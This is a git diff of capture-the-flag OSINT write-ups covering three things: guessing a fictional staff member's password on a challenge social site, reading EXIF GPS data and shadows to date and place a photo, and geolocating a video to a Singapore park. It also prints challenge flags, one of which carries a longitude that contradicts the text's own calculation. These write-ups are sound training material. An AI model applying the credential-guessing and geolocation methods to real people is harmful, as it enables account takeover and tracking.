+daily1.02020-11-20T02:39:48+00:00 +``` + + + +We notice a peculiar link called https://csgctf.wordpress.com/oh-ho/, and when clicked, led to this secret page: + +![ohho](ohho.png) + +Interesting... a secret social media page? Let's visit the [site](http://fb.korovax.org/)~ + +![fbclone](fbclone.png) + +Wow. That looks vaguely similar to another social media platform... + + + +Anyway, we made a throwaway account to gain access to the platform: + +![taa](taa.png) + + + +We clicked on "Find Friends", and saw a lot of people who had also made their own accounts. With so many accounts, how are we going to find who the kidnapper is? + +![ff](ff.png) + + + +### Who are the kidnappers? + +_________ + +We look back to the information we found: + +The Team from KoroVax: Oswell E Spencer, Sarah Miller, Samuel the Dog + +The Twitter Handle ([@scba](https://twitter.com/scba)) which is in fact Sarah Miller's personal Twitter account (interestingly enough, it is a real person's Twitter, the first I have ever seen in a CTF) + +![smt](smt.png) + + + +Sarah Miller's name kept popping up... Even the problem description made mention of her last name... + +Could it be this person? + +Using KoroVax's secret social media platform, we found Sarah Miller's profile, and in there, her email as `sarah.miller@korovax.org`. + +![smkoro](smkoro.png) + +Alright, now we also need her password for the flag! + +We look back at the secret post: + +![ohho](ohho.png) + +Hmm... `...blue... something...communication...` What could it be? + + + +**From this point on, we went down the wrong path that inadvertently solved another challenge but wasn't available to us due to this challenge being unsolved. :<** + + + +Anyway, we searched google for keywords relating to "blue" and "communications" and found this [website](http://bluecomm.com/): + +![bluecomm](bluecomm.png) + +Could this be the missing word to the `something`? + + + +We tried logging into fb.korovax.org with `sarah.miller@korovax.org` and the various passwords below: + +``` +Blue sky communications +Blue Sky Communications +blue sky communications +``` + + + +The password `Blue sky communications` successfully logged us into Sarah Miller's account, and thus that is her credentials. + +![sarakorologgedin](sarakorologgedin.png) + + + +### Flag + +____ + +``` +govtech-csg{SarahMiller_Blue sky communications} +``` + + + + + +### What wrong path did we take? + +_____________ + +We found this post: + +![ictadmin](ictadmin.png) + + + +We also found this [post](https://csgctf.wordpress.com/never-gonna/) related to IT: + +![nevergonna](nevergonna.png) + + + +We sent an email with all of the text below: + +``` +Realize your potential + +Identify your weaknesses + +Confront your fears + +Know the unknown + +Remedy the wrongs + +Observe your surroundings + +Learn from your mistakes + +Let no one down +``` + +And got nothing back... + + + +We then realised that the first character of each line spells out the word `RICKROLL`. Could this be the word they want? + +We decided to save time and emailed a bunch of texts related to `RICKROLL` to ictadmin@korovax.org: + +``` +Never gonna give you up +Never gonna let you down +Never gonna run around and desert you +Never gonna make you cry +Never gonna say goodbye +Never gonna tell a lie and hurt you +rickroll +RICKROLL +https://www.youtube.com/watch?v=dQw4w9WgXcQ +``` + +(Un)Surprisingly, we got a reply: + +``` +excellent artist, here's your code, govtech-csg{CE236F40A35E48F51E921AD5D28CF320265F33B3} + + + + + + + + + + + + + + + + + 39bc4f5150511ee7c3a703bdd615ed70f79002473d7f61d2dccfc397f7292b5e +``` + + + +Yeah, this flag wasn't for this challenge. ¯\\_(ツ)_/¯ + diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/bluecomm.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/bluecomm.png new file mode 100644 index 0000000..7091742 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/bluecomm.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/fbclone.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/fbclone.png new file mode 100644 index 0000000..76970ca Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/fbclone.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ff.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ff.png new file mode 100644 index 0000000..08212d5 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ff.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ictadmin.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ictadmin.png new file mode 100644 index 0000000..e8c11d1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ictadmin.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/koro.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/koro.png new file mode 100644 index 0000000..0786dd9 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/koro.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/nevergonna.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/nevergonna.png new file mode 100644 index 0000000..c7fef1c Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/nevergonna.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ohho.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ohho.png new file mode 100644 index 0000000..01c337e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/ohho.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/sarakorologgedin.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/sarakorologgedin.png new file mode 100644 index 0000000..7fa7211 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/sarakorologgedin.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/sitemap.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/sitemap.png new file mode 100644 index 0000000..189c4f5 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/sitemap.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/smkoro.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/smkoro.png new file mode 100644 index 0000000..2e08fcf Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/smkoro.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/smt.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/smt.png new file mode 100644 index 0000000..e7b77eb Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/smt.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/taa.png b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/taa.png new file mode 100644 index 0000000..ece2432 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/taa.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/HLP1.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/HLP1.png new file mode 100644 index 0000000..9ed907d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/HLP1.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/HLP2.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/HLP2.png new file mode 100644 index 0000000..ea4cdcd Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/HLP2.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/README.md b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/README.md new file mode 100644 index 0000000..4adffb0 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/README.md @@ -0,0 +1,240 @@ +# Only time will tell! + +### Forensics [691] - 34 Solves + +_____ + +***This picture was taken sent to us! It seems like a bomb threat! Are you able to tell where and when this photo was taken? This will help the investigating officers to narrow down their search! All we can tell is that it's taken during the day!*** + +***If you think that it's 7.24pm in which the photo was taken. Please take the associated 2 hour block. This will be 1900-2100. If you think it is 10.11am, it will be 1000-1200.*** + +***Flag Example: govtech-csg{1.401146_103.927020_1990:12:30_2000-2200}*** + +***Flag Format: govtech-csg{lat_long_date_[two hour block format]}*** +***Use this [calculator](https://www.pgc.umn.edu/apps/convert/)!*** + +___________ + +### The Place in the Picture: Speakers' Corner + +__________ + +The image in question is this: + +![osint-challenge-6](osint-challenge-6.jpg) + +A little bit of Singapore trivia: + +Speakers' Corner is an area located within Hong Lim Park. It is an area where citizens and permanent residents can demonstrate, hold exhibitions and performances, as well as freely speaking about issues that would be otherwise restricted in other parts of Singapore. Prior registration with the government is required before such activity may proceed. + +Either way, this place is in danger of potentially being bombed, and we need to identify where and when this picture was taken. + + + +### Where was this photo taken? + +__________ + +We know that this is the Speakers Corner; however, we need the exact latitude and longitude of where this person was standing. As such, Google Maps will be of little use for finding the exact location. + +However, we can use the GPS information present within the metadata of the image to our advantage. + +Our choice of tool is `ExifTool`: A command line program which allows for reading, writing and editing meta information present in many types of files. If you are using a Linux terminal, you can simply install it using `sudo apt install libimage-exiftool-perl` on UNIX based system. + +Thereafter, run this command with the picture in question: + +```bash +$ exiftool osint-challenge-6.jpg + +ExifTool Version Number : 10.80 +File Name : osint-challenge-6.jpg +Directory : . +File Size : 123 kB +File Modification Date/Time : 2020:12:01 10:52:40+08:00 +File Access Date/Time : 2020:12:10 11:59:10+08:00 +File Inode Change Date/Time : 2020:12:10 11:58:16+08:00 +File Permissions : rwxrwxrwx +File Type : JPEG +File Type Extension : jpg +MIME Type : image/jpeg +JFIF Version : 1.01 +X Resolution : 96 +Y Resolution : 96 +Exif Byte Order : Big-endian (Motorola, MM) +Make : COViD +Resolution Unit : inches +Y Cb Cr Positioning : Centered +GPS Latitude Ref : North +GPS Longitude Ref : East +Image Width : 551 +Image Height : 736 +Encoding Process : Baseline DCT, Huffman coding +Bits Per Sample : 8 +Color Components : 3 +Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) +GPS Latitude : 1 deg 17' 11.93" N +GPS Longitude : 103 deg 50' 48.61" E +GPS Position : 1 deg 17' 11.93" N, 103 deg 50' 48.61" E +Image Size : 551x736 +Megapixels : 0.406 +``` + + + +And there we have it; the GPS information! + +``` +GPS Latitude : 1 deg 17' 11.93" N +GPS Longitude : 103 deg 50' 48.61" E +GPS Position : 1 deg 17' 11.93" N, 103 deg 50' 48.61" E +``` + +We can then go to the [calculator](https://www.pgc.umn.edu/apps/convert/) given in the problem statement and convert the positions accordingly. + +![calc](calc.png) + + + +We obtain latitude and longitude as 1.286647, 103.846836 (to 6 d.p.). + + + +There is also another method for finding the GPS location of the picture without the need for any command line tool. + +Online tools such this [one](http://exif.regex.info/exif.cgi) can be for finding the metadata of the picture: + +![online](online.png) + +However, the precision of this website is not as good as `ExifTool`, as shown by the difference in the decimal points. As such, we still recommend `ExifTool` over all other tools. + + + + + +### When was this photo taken? + +______________ + +The metadata has the following information: + +``` +File Modification Date/Time : 2020:12:01 10:52:40+08:00 +File Access Date/Time : 2020:12:10 11:59:10+08:00 +File Inode Change Date/Time : 2020:12:10 11:58:16+08:00 +``` + +**Note that none of the information here actually accurately identifies the original date and time this photo was taken. The photo was last modified when someone changed something to it, such as adding the barcode.** + +Speaking of which, we then looked at the barcode found at the bottom left of the image: + +![barcode](barcode.png) + +Using this [website](https://online-barcode-reader.inliteresearch.com/), we can obtain the following information: + +![barcodeinfo](barcodeinfo.png) + +As such, the date in which this photo was taken was **25 October 2020**. + + + +Here comes the difficult part: How do we identify the time period? (When we did the challenge, the original 3 attempts limit were removed, but what can we do to ensure that we only use 3 attempts in total?) + +The answer: Shadows + +![shadow1](shadow1.png) + +From this picture, the shadows are formed at the front of the sign, lamp post and the pillar at the side. + +This means the sun is in front of the photographer: + +![shadow2](shadow2.png) + +The sun rises in the **east** and sets in the **west**. Now, we have to identify the direction the photographer was standing in. + +We bring up Google Earth/Maps and visit Hong Lim Park: + +![HLP1](HLP1.png) + +Here, we can vaguely see the blurry sign for "Speakers' Corner", but it clearly (no pun intended) needs a closer look. + +Choosing a different position for street view: + +![HLP2](HLP2.png) + +There! Much clearer! + +Let's focus on the compass direction in the bottom left: + +![direction](direction.png) + +By aligning ourselves to the same angle as the original photo, we can show that the photographer was facing towards the **west**. + +We look back at the latitude: 1.286647 + +Since the latitude is so close to the equator, we would expect the noon shadow to be extremely short. We can therefore immediately rule out the time period 1100-1300, as the shadows shown in the picture are very long. + +![shadow3](shadow3.png) + +Since the sun rises in the east and sets in the west, the shadow positions formed from the sign post looks like the one in the illustration above. Using that, we can conclude that as the shadow was **in front** of the sign when the picture was taken with the photographer facing **west**, the sun has **already** reached past the noon position and is in the process of **setting**. + +As a result, the photograph was likely taken **in the afternoon**, **effectively rejecting all time periods from 0000 to 1200**. + +**We now have the following time periods left:** + +**1300-1500** + +**1400-1600** + +**1500-1700** + +**1600-1800** + +**1700-1900** + +**Time periods after 1900 would be too dark to match the photo, and as such were all rejected.** + +From here, we note that as mentioned previously, the date at which this photo was taken is **25 October 2020**. + +**Around the fall season, the sun sets somewhat early in Singapore, leading to a shorter day time.** + +**We can thus rule out 1700-1900, as it is likely that from 1700 onwards, the sun would have already been in position that is more visible in the photograph.** + +**We also rule out 1300-1500, as the shadows would only become longer approximately from 1400 onwards, and this time period seemed too early for this photograph to be taken.** + + + +**We are now left with the last three time periods:** + +**1400-1600** + +**1500-1700** + +**1600-1800** + + + +This should fit within the original limit of 3 attempts! + + + +### Flag + +_______ + +The actual time period turned out to be 1500-1700, and thus the flag is as follows: + +``` +govtech-csg{1.286647_03.846836_2020:10:25_1500-1700} +``` + + + +### Learning Outcomes + +______ + +Things that we can learn from this challenge: + +1. Identify the location using the metadata from the image. +2. Use Google Street View to obtain the direction the photographer was facing, and then use shadow analysis to approximate three possible time periods for when the photograph was taken. +3. Use every information where possible, such as the barcode from the bottom left of the picture. \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/barcode.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/barcode.png new file mode 100644 index 0000000..9d92cf4 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/barcode.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/barcodeinfo.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/barcodeinfo.png new file mode 100644 index 0000000..83f5109 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/barcodeinfo.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/calc.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/calc.png new file mode 100644 index 0000000..74f3f0b Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/calc.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/direction.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/direction.afphoto new file mode 100644 index 0000000..107c601 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/direction.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/direction.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/direction.png new file mode 100644 index 0000000..41e5888 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/direction.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/foredit.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/foredit.png new file mode 100644 index 0000000..28367d1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/foredit.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/online.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/online.png new file mode 100644 index 0000000..ff5bcfe Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/online.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/osint-challenge-6.jpg b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/osint-challenge-6.jpg new file mode 100644 index 0000000..6a4dbcf Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/osint-challenge-6.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow1.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow1.afphoto new file mode 100644 index 0000000..1ec1c62 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow1.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow1.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow1.png new file mode 100644 index 0000000..96a2cb2 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow1.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow2.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow2.afphoto new file mode 100644 index 0000000..abf3388 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow2.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow2.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow2.png new file mode 100644 index 0000000..80031c1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow2.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow3.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow3.afphoto new file mode 100644 index 0000000..277e51f Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow3.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow3.png b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow3.png new file mode 100644 index 0000000..2c55524 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/6. Only time will tell!/shadow3.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/README.md b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/README.md new file mode 100644 index 0000000..73d3470 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/README.md @@ -0,0 +1,371 @@ +# Sounds of freedom! + +## OSINT [750] - 31 Solves + +***In a recent raid on a suspected COViD hideout, we found this video in a thumbdrive on-site. We are not sure what this video signifies but we suspect COViD's henchmen might be surveying a potential target site for a biological bomb. We believe that the attack may happen soon. We need your help to identify the water body in this video! This will be a starting point for us to do an area sweep of the vicinity!*** + +***Flag Format: govtech-csg{postal_code}*** + +__________ + +### The Video in Question + +______ + +Let's start off by viewing the video. + +![1](images/1.png) + +After watching the video, we ran `ExifTool` on this video for any potential location information hidden in the metadata. + +`ExifTool` is a command line program which allows for reading, writing and editing meta information present in many types of files. If you are using a Linux terminal, you can simply install it using `sudo apt install libimage-exiftool-perl` on UNIX based system. + +After running the tool, we did not see any location information in there. Either the information had been wiped out by the video taker, or the device used to record the video did not record down the geographical location. + +Therefore, we have to identify the location by the clues present within the video. + +We can start by identifying the relevant landmarks presented in the video, so that it can aid us in finding out where the water body is. + +**The process will be as follows:** + +**A. Gather information from the video.** + +**B. Isolate the correct location and reject the wrong locations using online tools.** + +**C. Collect evidence to prove that the location is the same as the one from the video.** + + + +### A. Gather information from the video. + +_____ + +We can use the following list below to identify as many possible information as possible: + +1. What is present in the foreground? +2. What is present in the background? +3. What specific infrastructures are present in the vicinity? +4. What is the general shape of the target (the water body) in the video? +5. If present, does the audio provide any additional clues? + + + +Thereafter, we will attempt to narrow down our search. + + + +### 1. What is present in the foreground? + +_____________ + +Let's see what is present in the foreground of the video. + +![2](images/2.png) + +It seems to be reminiscent of a **Housing Development Board (HDB) Flat**. These flats are a form of public housing provided by the Singapore government. An example of a cluster of HDB flats is shown below. + +![3](images/3.png) + +However, it could also be a **condominium**, so we will keep both of these in mind. + +**That aside, we also note the air conditioner exhaust placement being on the right of the video taker, as well as the presence of beam like structures.** + + + +### 2. What is present in the background? + +________ + +Let's shift our focus to the background. + +![5](images/5.png) + + + +We can note that there is a **bus stop** below the building. + +![6](images/6.png) + +Furthermore, since there is a bus stop, we can also note that the water body is right beside a **road**. + + + +Let's move the video to a **different frame where the camera is panned upwards**. + +![7](images/7.png) + + + +We see that the water body is surrounded by **a lot of foliage** (red); this **rules out any water body that has little to no trees**. We also see that there are **walkways with red roofs around the park** (blue), as well as more **HDB flats behind coloured green** behind the park area. (yellow) There are also **staircases** (green and magenta) within the park. + +![8](images/8.png) + + + +### 3. What specific infrastructures are present in the vicinity? + +_________ + +As mentioned previously, we have found: + +1. The HDB/Condominium the video taker was in +2. The bus stop at the ground floor beside the road +3. Red roofed walkways in the park +4. Green HDB flats at the back of the park +5. Staircases within the park + + + +### 4. What is the general shape of the target (the water body) in the video? + +______________ + +The water body seems to be **curved**, so when we look for the water body later on, we can take this shape into consideration as well. + +![9](images/9.png) + + + +### 5. If present, does the audio provide any additional clues? + +________ + +Interestingly enough, when this video was shot, there was a **very loud and deep hum**. Let's just say it goes by this sound: + +``` +mmmmmmmmmmmmmmmmmmmmmmmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmmmmm (The audio clips at the large 'M', meaning it is much louder in real life than what the camera could record.) +``` + +Since there are no specific vehicles on the ground that could make such a loud noise, **it must have been from the air.** **The sound likely came from an airplane.** + +Additionally, the name of the challenge is called "Sounds of freedom!" It sounds like this park is located in the vicinity of an air flight path, likely to be from the **Republic of Singapore Air Force**. This indicates a **high likelihood of the presence of a nearby air base or airport.** + +**This is an especially important clue, because it essentially rules out all other water bodies in Singapore that are not near any air bases.** + + + +### **B. Isolate the correct location and reject the wrong locations using online tools.** + +______________ + +Alright, now that we have the relevant information, let's bring up Google Maps/Google Earth and find this water body! I will be using Google Earth as it offers a more cinematic view of the area. + +![10](images/10.png) + + + +Start by identifying the various air bases and airports: + +![11](images/11.png) + + + +Let's proceed on with the process of elimination. + +![12](images/12.png) + +This is Singapore Changi Airport and Changi Air Base. From this satellite image, we **cannot find any nearby HDB flats or condominiums.** Moreover, this area is **not close to any water body** other than the surrounding sea. As such, we reject this location. + + + +![13](images/13.png) + +This is Singapore Tengah Air Base. From this picture, **it is also very secluded from any HDB flats or condominium**, and the surrounding water bodies are **extremely large**. It is likely that this is not the area either. + + + +This leaves us with three possible locations: Seletar Airport, Sembawang Air Base and Payar Lebar Air Base. Given that these airports/air bases are near many HDB flats, we can assume that the flight paths are likely localized around there. + +![14](images/14.png) + + + +The park with the water body is likely in the picture above. + +However, this is still a really large area (approximately 18.95km by 11.33km). How can we start narrowing down our search? + +For this we can use the parks and nature reserves service provided by the [NParks](https://www.nparks.gov.sg/gardens-parks-and-nature/parks-and-nature-reserves) website. For those wondering, National Parks Board (NParks) is a statutory board responsible for managing the various parks and nature reserves in Singapore. + +Let's now go to the same area as the picture above. + +![15](images/15.png) + +Luckily, this map also happens to show all of the water bodies located around this area. + +We know from before that our **water body target is not that big**, and it has a **curved shape**, and as such, we can reject everything to the left of the purple colour MRT line (North East Line). + +![16](images/16.png) + +![18](images/18.png) + + + +From here, ignoring all of the rivers, we see **four** possible water bodies. + +![18edited](images/18edited.png) + + + +Zooming into the **two adjacent water bodies** below, we see that it is Bedok Reservoir and Tampines Quarry (unnamed water body right beside Bedok Reservoir). + +![19](images/19.png) + +Using street view, we can note that the water body is **way too large to fit the one** from the video. + +![20](images/20.png) + +Tampines Quarry is **not near any HDB flats, and is thus automatically disqualified.** + +We can scratch these two water bodies off our list and move on. + +The picture below shows Pasir Ris Town Park. + +![21](images/21.png) + +Well, it seems like Pasir Ris Town Park actually ticks a bunch of requirements mentioned above, such as the presence of the red roof structures, as well as a road beside the park. + +However, we eventually rejected this park. + +The main reason is: **The shape of the water body does not fit the one in the video.** + +If we look back at the screenshot from the video: + +![9](images/9.png) + +From this point of view, the water body is **curved along the top left corner.** + + + +Going back to this image: + +![22](images/22.png) + +We consider three vantage points, namely A, B and C. These vantage points are at the places with HDB flats (or Condominiums) The outlines of the lake is also shown here to indicate what the top left corner of the water body would have looked like when viewing from that vantage point. + +If we look from A, we will see that the shape of the top left corner of the park does not match the one from the video. + +If we look from B, the top left hand corner of the water body is somewhat pointy instead of a curve. Moreover, there is a river separating the building from the water body. This is however not present in the video. + +If we look from C, the distance between water body and the building is way too far than the one from the video. + + + +With that, we only have one location left, and that is Punggol Park. + +![23](images/23.png) + +The good sign is that the water body here looks somewhat curvy, which fits the picture from above. Additionally, the water colour is also a dark yellow green, which matches the water colour from the video. + + + + + +### C. Collect evidence to prove that the location is the same as the one from the video. + +______ + +Now, it is just a matter of confirming that this is indeed the water body. This is important as we only have three attempts, and when conducting real OSINT, dispatching security personnel to the wrong location will result in a massive waste of time for everyone involved. + +![24edited](images/24edited.png) + +Looking from this angle, we see that the **red roof structures** are also there, and that the shape of the **top left corner of the water body also fits the one from the video. (curved)** + +Going into street view at the tip of the arrow: + +![25](images/25.png) + +Bingo! We found the bus stop! + +![6](images/6.png) + +Even the **lamp to the left of the bus stop** fits the one from the video. + +Let's turn around the street view camera: + +![26](images/26.png) + +Hmm, seemed like the person **stood on one of the higher floors and took the video.** The **air conditioner exhaust placement**, along with the **presence of the beams in the foreground** as mentioned just now also matches. + +![26annotated](images/26annotated.png) + + + +Are there any more evidence we can find? + +Entering the park, we find: + +![27](images/27.png) + +Both staircases seem to coincide with the ones below (green and magenta): + +![8](images/8.png) + + + +What about the green buildings at the top left corner of the picture above? + +Going to the staircase reveals something **worrying**: + +![28](images/28.png) + +The buildings are ***red*** in colour, rather than ***green***. We note Block 401 here, and that it seems to have a coffee shop at the ground floor. + +Going back to satellite view: + +![29](images/29.png) + +Block 401 is still red, even though when viewed from the same vantage point, it should have been green... + +![30edited](images/30edited.png) + + + +The big surprise came when we decided to go into street view right in front of the HDB Block (Block 401): + +![31](images/31.png) + +It is green here! The coffee shop is also present here as well! + +This means that the 3D models that Google Earth/Maps have generated were based off an **old model** of the block, and it is likely that **these blocks around the estate were repainted a few months ago to green** . + + + +**With all of this, we are convinced that the water body shown in the video is in fact Punggol Park.** + + + +### Flag + +_____________ + +A simple Google Search shows us the address of Punggol Park: + +![32](images/32.png) + +``` +Hougang Ave 10, Singapore 538768 +``` + +Since the flag format is `govtech-csg{postal_code}`, we only need the postal code `538768`. + +The flag is as follows: + +``` +govtech-csg{538768} +``` + +And there we have it! The challenge is solved! + + + +### Learning Outcomes + +____________ + +Key takeaways from this challenge: + +1. This challenge reveals some limitations that Google Maps/Earth have, such as not updating the 3D models of the HDB blocks. This led to confusion as it was an apparent contradiction to all of the other evidence. It is lucky that Google Street View actually displays the updated block colour so that we can disregard the colour of the 3D models. Therefore, **always** look out for more information just in case the one you found is contradictory. + +2. There are many tools available online that can be used to narrow down from over 350 parks to just a few for further investigation. +3. Analyse all possible clues from the given resource, and make a list to check against the actual location in question! + diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/1.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/1.png new file mode 100644 index 0000000..87ed22d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/1.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/10.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/10.png new file mode 100644 index 0000000..2536b76 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/10.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/11.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/11.afphoto new file mode 100644 index 0000000..745ed0a Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/11.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/11.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/11.png new file mode 100644 index 0000000..68b0a0b Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/11.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/12.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/12.png new file mode 100644 index 0000000..ba58058 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/12.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/13.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/13.png new file mode 100644 index 0000000..ebeac90 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/13.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/14.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/14.png new file 